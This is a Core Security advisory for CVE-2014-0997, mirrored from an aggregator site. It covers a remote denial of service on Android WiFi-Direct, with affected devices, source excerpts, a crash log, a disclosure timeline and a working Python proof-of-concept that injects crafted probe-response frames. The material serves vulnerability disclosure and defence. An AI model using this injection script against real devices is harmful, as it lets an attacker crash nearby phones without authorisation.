Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:31687
HistoryFeb 02, 2015 - 12:00 a.m.

[CORE-2015-0002] - Android WiFi-Direct Denial of Service

2015-02-0200:00:00
vulners.com
11

Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Android WiFi-Direct Denial of Service

  1. Advisory Information

Title: Android WiFi-Direct Denial of Service
Advisory ID: CORE-2015-0002
Advisory URL:
http://www.coresecurity.com/advisories/android-wifi-direct-denial-service
Date published: 2015-01-26
Date of last update: 2015-01-26
Vendors contacted: Android Security Team
Release mode: User release

  1. Vulnerability Information

Class: Uncaught Exception [CWE-248]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0997

  1. Vulnerability Description

    Some Android devices are affected by a Denial of Service attack when
    scanning for WiFi Direct devices.

    An attacker could send a specially crafted 802.11 Probe Response frame
    causing the Dalvik subsystem to reboot because of an Unhandle Exception
    on WiFiMonitor class.

  2. Vulnerable Packages

    . Nexus 5 - Android 4.4.4
    . Nexus 4 - Android 4.4.4
    . LG D806 - Android 4.2.2
    . Samsung SM-T310 - Android 4.2.2
    . Motorola RAZR HD - Android 4.1.2

    Other devices could be also affected.

  3. Non-vulnerable packages

    . Android 5.0.1
    . Android 5.0.2

  4. Vendor Information, Solutions and Workarounds

    Some mitigation actions may be to avoid using WiFi-Direct or update
    to a non-vulnerable Android version.
    Contact vendor for further information.

  5. Credits

    This vulnerability was discovered and researched by Andres Blanco
    from the CoreLabs
    Team. The publication of this advisory was coordinated by the Core
    Advisories
    Team.

  6. Technical Description / Proof of Concept Code

    Android makes use of a modified wpa_supplicant[1]
    in order to provide an interface between the wireless driver and the
    Android platform framework.

    Below the function that handles wpa_supplicant events. This function
    returns a jstring from calling NewStringUTF method.

/-----
static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject)
{
char buf[EVENT_BUF_SIZE];
int nread = ::wifi_wait_for_event(buf, sizeof buf);
if (nread > 0) {
return env->NewStringUTF(buf);
} else {
return NULL;
}
}
-----/

The WiFi-Direct specification defines the P2P discovery procedure to
enable P2P
devices to exchange device information, the device name is part of
this information.

The WifiP2pDevice class, located at
/wifi/java/android/net/wifi/p2p/WifiP2pDevice.java,
represents a Wi-Fi p2p device. The constructor method receives the
string provided by
the wpa_supplicant and throws an IllegalArgumentException in case
the event is malformed.

Below partial content of the WiFiP2PDevice.java file.

/-----
[…]

    /** Detailed device string pattern with WFD info
     * Example:
     *  P2P-DEVICE-FOUND 00:18:6b:de:a3:6e

p2p_dev_addr=00:18:6b:de:a3:6e
* pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E'
config_methods=0x188
* dev_capab=0x21 group_capab=0x9
/
private static final Pattern detailedDevicePattern =
Pattern.compile(
"((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +
"(\\d+ )?" +
"p2p_dev_addr=((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +
"pri_dev_type=(\\d±[0-9a-fA-F]±\\d+) " +
"name='(.
)' " +
"config_methods=(0x[0-9a-fA-F]+) " +
"dev_capab=(0x[0-9a-fA-F]+) " +
"group_capab=(0x[0-9a-fA-F]+)" +
"( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?"
);

    [...]

    /**
     * @param string formats supported include
     *  P2P-DEVICE-FOUND fa:7b:7a:42:02:13

p2p_dev_addr=fa:7b:7a:42:02:13
* pri_dev_type=1-0050F204-1 name='p2p-TEST1'
config_methods=0x188 dev_capab=0x27
* group_capab=0x0 wfd_dev_info=000006015d022a0032
*
* P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13
*
* AP-STA-CONNECTED 42:fc:89:a8:96:09
[p2p_dev_addr=02:90:4c:a0:92:54]
*
* AP-STA-DISCONNECTED 42:fc:89:a8:96:09
[p2p_dev_addr=02:90:4c:a0:92:54]
*
* fa:7b:7a:42:02:13
*
* Note: The events formats can be looked up in the
wpa_supplicant code
* @hide
*/
public WifiP2pDevice(String string) throws
IllegalArgumentException {
String[] tokens = string.split("[ \n]");
Matcher match;

        if (tokens.length < 1) {
            throw new IllegalArgumentException("Malformed supplicant

event");
}

        switch (tokens.length) {
            case 1:
                /* Just a device address */
                deviceAddress = string;
                return;
            case 2:
                match = twoTokenPattern.matcher(string);
                if (!match.find()) {
                    throw new IllegalArgumentException("Malformed

supplicant event");
}
deviceAddress = match.group(2);
return;
case 3:
match = threeTokenPattern.matcher(string);
if (!match.find()) {
throw new IllegalArgumentException("Malformed
supplicant event");
}
deviceAddress = match.group(1);
return;
default:
match = detailedDevicePattern.matcher(string);
if (!match.find()) {
throw new IllegalArgumentException("Malformed
supplicant event");
}

                deviceAddress = match.group(3);
                primaryDeviceType = match.group(4);
                deviceName = match.group(5);
                wpsConfigMethodsSupported = parseHex(match.group(6));
                deviceCapability = parseHex(match.group(7));
                groupCapability = parseHex(match.group(8));
                if (match.group(9) != null) {
                    String str = match.group(10);
                    wfdInfo = new

WifiP2pWfdInfo(parseHex(str.substring(0,4)),
parseHex(str.substring(4,8)),
parseHex(str.substring(8,12)));
}
break;
}

        if (tokens[0].startsWith("P2P-DEVICE-FOUND")) {
            status = AVAILABLE;
        }
    }

    [...]

-----/

On some Android devices when processing a probe response frame with a
WiFi-Direct(P2P)
information element that contains a device name attribute with
specific bytes generates
a malformed supplicant event string that ends up throwing the
IllegalArgumentException.
As this exception is not handled the Android system restarts.

Below partial content of the logcat of a Samsung SM-T310 running
Android 4.2.2.

/-----
I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00
p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬'
config_methods=0x188 dev_capab=0x21 group_capab=0x0
E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS:
WifiMonitor
E/AndroidRuntime( 2129): java.lang.IllegalArgumentException:
Malformed supplicant event
E/AndroidRuntime( 2129): at
android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229)
E/AndroidRuntime( 2129): at
android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966)
E/AndroidRuntime( 2129): at
android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574)
E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o
/data/log/dumpstate_sys_error
-----/

8.1. Proof of Concept

This PoC was implemented using the open source library Lorcon
[2] and PyLorcon2 [3], a Python wrapper for the Lorcon library.

/-----
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2


def get_probe_response&#40;source, destination, channel&#41;:
    frame = str&#40;&#41;
    frame += &quot;&#92;x50&#92;x00&quot;  # Frame Control
    frame += &quot;&#92;x00&#92;x00&quot;  # Duration
    frame += destination
    frame += source
    frame += source
    frame += &quot;&#92;x00&#92;x00&quot;  # Sequence Control
    frame += &quot;&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&#92;x00&quot;  # Timestamp
    frame += &quot;&#92;x64&#92;x00&quot;  # Beacon Interval
    frame += &quot;&#92;x30&#92;x04&quot;  # Capabilities Information

    # SSID IE
    frame += &quot;&#92;x00&quot;
    frame += &quot;&#92;x07&quot;
    frame += &quot;DIRECT-&quot;

    # Supported Rates
    frame += &quot;&#92;x01&quot;
    frame += &quot;&#92;x08&quot;
    frame += &quot;&#92;x8C&#92;x12&#92;x98&#92;x24&#92;xB0&#92;x48&#92;x60&#92;x6C&quot;

    # DS Parameter Set
    frame += &quot;&#92;x03&quot;
    frame += &quot;&#92;x01&quot;
    frame += struct.pack&#40;&quot;B&quot;, channel&#41;

    # P2P
    frame += &quot;&#92;xDD&quot;
    frame += &quot;&#92;x27&quot;
    frame += &quot;&#92;x50&#92;x6F&#92;x9A&quot;
    frame += &quot;&#92;x09&quot;
    # P2P Capabilities
    frame += &quot;&#92;x02&quot; # ID
    frame += &quot;&#92;x02&#92;x00&quot; # Length
    frame += &quot;&#92;x21&#92;x00&quot;
    # P2P Device Info
    frame += &quot;&#92;x0D&quot; # ID
    frame += &quot;&#92;x1B&#92;x00&quot; # Length
    frame += source
    frame += &quot;&#92;x01&#92;x88&quot;
    frame += &quot;&#92;x00&#92;x0A&#92;x00&#92;x50&#92;xF2&#92;x04&#92;x00&#92;x05&quot;
    frame += &quot;&#92;x00&quot;
    frame += &quot;&#92;x10&#92;x11&quot;
    frame += &quot;&#92;x00&#92;x06&quot;
    frame += &quot;fafa&#92;xFA&#92;xFA&quot;

    return frame


def str_to_mac&#40;address&#41;:
    return &quot;&quot;.join&#40;map&#40;lambda i: chr&#40;int&#40;i, 16&#41;&#41;, address.split&#40;&quot;:&quot;&#41;&#41;&#41;


if __name__ == &quot;__main__&quot;:
    if len&#40;sys.argv&#41; != 3:
        print &quot;Usage:&quot;
        print &quot;  poc.py &lt;iface&gt; &lt;target&gt;&quot;
        print &quot;Example:&quot;
        print &quot;  poc.py wlan0 00:11:22:33:44:55&quot;
        sys.exit&#40;-1&#41;

    iface = sys.argv[1]
    destination = str_to_mac&#40;sys.argv[2]&#41;

    context = PyLorcon2.Context&#40;iface&#41;
    context.open_injmon&#40;&#41;

    channel = 1
    source = str_to_mac&#40;&quot;00:11:22:33:44:55&quot;&#41;
    frame = get_probe_response&#40;source, destination, channel&#41;

    print &quot;Injecting PoC.&quot;
    for i in range&#40;100&#41;:
        context.send_bytes&#40;frame&#41;
        time.sleep&#40;0.100&#41;

-----/

  1. Report Timeline

    . 2014-09-26:
    Core Security contacts Android security team to inform them that
    a vulnerability has been found in Android. Core Security sends a draft
    advisory with technical details and PoC files.
    . 2014-09-29:
    Android Security Team acknowledges reception of the advisory.
    . 2014-09-30:
    Core Security notifies that the tentative publication date is
    set for Oct 20rd, 2014.
    . 2014-09-30:
    Android Security Team acknowledges.
    . 2014-10-16:
    Core Security requests a status update.
    . 2014-10-16:
    Android Security Team responds that they have classify the
    vulnerability as low severity and don't currently have a timeline for
    releasing a fix.
    . 2014-10-20:
    Core Security does not completely agrees with the vulnerability
    classification and reschedule the publication of the advisory.
    . 2014-10-16:
    Android Security Team acknowledges and strengthens it's position
    that they don't currently have a timeline for releasing a fix.
    . 2015-01-06:
    Core Security requests a status update.
    . 2015-01-12:
    Core Security asks for confirmation of reception of the previous
    email.
    . 2015-01-16:
    Android Security Team acknowledges and respond that they don't
    currently have a timeline for releasing a fix.
    . 2015-01-19:
    Core Security notifies that vendor cooperation is needed in
    order to keep this process coordinated. If vendor refuses to provide the
    requested information the advisory will be released tagged as 'user
    release'. The advisory is re-scheduled for January 26th, 2015.
    . 2015-01-20:
    Android Security Team acknowledges and respond that they don't
    currently have a timeline for releasing a fix.
    . 2015-01-26:
    The advisory CORE-2015-0002 is published.

  2. References

[1] - wpa_supplicant site. http://w1.fi/wpa_supplicant/
[2] - Lorcon site. https://code.google.com/p/lorcon
[3] - PyLorcon2 site. http://code.google.com/p/pylorcon2

  1. About CoreLabs

CoreLabs, the research center of Core Security, is charged with
anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.

  1. About Core Security Technologies

    Core Security Technologies enables organizations to get ahead of threats
    with security test and measurement solutions that continuously identify
    and demonstrate real-world exposures to their most critical assets. Our
    customers can gain real visibility into their security standing, real
    validation of their security controls, and real metrics to more
    effectively secure their organizations.

    Core Security's software solutions build on over a decade of trusted
    research and leading-edge threat expertise from the company's Security
    Consulting Services, CoreLabs and Engineering groups. Core Security
    Technologies can be reached at +1 (617) 399-6980 or on the Web at:
    http://www.coresecurity.com.

  2. Disclaimer

    The contents of this advisory are copyright
    (c) 2014 Core Security and (c) 2014 CoreLabs,
    and are licensed under a Creative Commons
    Attribution Non-Commercial Share-Alike 3.0 (United States) License:
    http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  3. PGP/GPG Keys

    This advisory has been signed with the GPG key of Core Security
    advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.